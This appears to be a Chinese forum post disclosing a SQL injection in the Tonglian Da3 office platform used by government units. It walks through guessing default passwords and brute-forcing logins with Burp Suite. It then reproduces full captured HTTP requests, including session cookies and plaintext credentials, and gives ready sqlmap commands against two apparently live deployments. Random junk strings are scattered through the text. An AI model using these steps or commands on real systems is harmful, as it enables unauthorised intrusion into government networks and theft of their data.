同联Da3协同办公平台前台通用sql injection漏洞

admin

$ Y( ^! ]; z' j; x5 U4 p( w" v

平台简介：

( U B" Z& C; Y

* n5 F) a- f: B m4 |3 {  

6 R7 P. v; z, M5 t g) T

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ K$ Q! N* I" k- R

[7 v l6 Y; S

, [ V& d0 l" Q6 |. V: g   $ O+ e% q7 `% ]2 z' @/ X/ z' _, e

; ^# r% r; K- O9 B 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

 

http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站） ; B: i; O4 H$ J9 W7 j3 j8 X8 t

  4 n" d+ I1 _3 h- i9 i

# }1 Q. @8 W$ S' y) e3 ]

漏洞详情: # C4 e" t# A1 e2 e2 Y. z) }

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 % C4 Q2 ^4 e) n9 |0 S5 y% R

# X. \8 j$ b: \* T; O" }6 U      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 7 [# C, F8 L2 H" H. ?

9 ^! H- U$ I5 z' f  

0 H6 |+ u- E' h- x9 f   6 Z9 H4 A; V" `" V& F

' `3 d: A2 ` S9 E% j status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站

6 U; g ?& y$ p5 b

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

7 o" A3 Y% i+ @/ u$ F6 U/ ^3 h* k Host: www.XXOO.com

Proxy-Connection: Keep-Alive

/ y. Y3 v( I3 ~

5 [2 K9 n, w: u Accept: application/json, text/javascript, */*; q=0.01 : r) G( i1 D3 A9 Y& M

Accept-Language: zh-CN ! x; m: G1 b$ m' A

9 T" i' C* u+ X1 X Content-Type: application/json ! l }; w. t6 P) U6 U

) C6 S l9 k8 \! |

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko ; W5 b+ y: W( T, O# S5 e) E

+ h) w5 w5 P* n# ]+ S

9 `8 y3 y% V5 \ X-Requested-With: XMLHttpRequest

1 ~/ r+ T. U6 q" T6 D& M* e

9 U! P7 K' J& O: S5 h9 v6 L Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

, A R, _3 B; }0 U! V" F

! s4 v7 ^& t: p3 @) M Accept-Encoding: gzip, deflate, sdch

1 ^" X- w" d' Y3 M

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e " h" b$ o, [2 Y0 D

5 V, v$ a5 R1 d7 @8 r1 q

6 S5 M! l K) \( j6 X5 l 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

 

 

, X# u! t8 m3 l# s& M+ D  

0 `! P( b( Z* I

 

! l* x3 I l# q3 E! R0 u* t

" } {9 I5 w' A+ H$ T: W" @) v2 ]  

/ q4 h" o, F9 E$ w" V$ `5 U 2、案例2-某天河云平台

4 C$ V4 J, L( m: L. s7 K+ M# U+ D GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 + r& I; h; G* |. l' W9 q

5 D! N h5 p5 G. E" W Host: 1.1.1.:7197

( Y: H* i( o0 x4 b% F

Accept: application/json, text/javascript, */*; q=0.01

; b2 M6 u; a5 l2 n) Q6 \

. Z, k& M0 J( z+ S6 u X-Requested-With: XMLHttpRequest

$ X; Y4 g$ B3 I4 ]) l4 Q \ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/json

+ k2 `; K, T4 K; @ f' X/ }

5 h. @1 w" t) g# s6 N$ A Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

& M, ]; W& n; I

Accept-Language: zh-CN,zh;q=0.8 ( c: N: o+ G; v/ L7 d! }$ J

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 2 N+ H3 M& v9 w% s) n

0 F) z$ m0 }3 {3 e2 z2 F" s Connection: close

& J$ E/ F& Y P$ s& k" }( ]

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 8 U) O9 ` Z# o% C1 R4 y1 {

  : { f- G6 j8 v6 X# x0 S

4 ?" r" l" n. W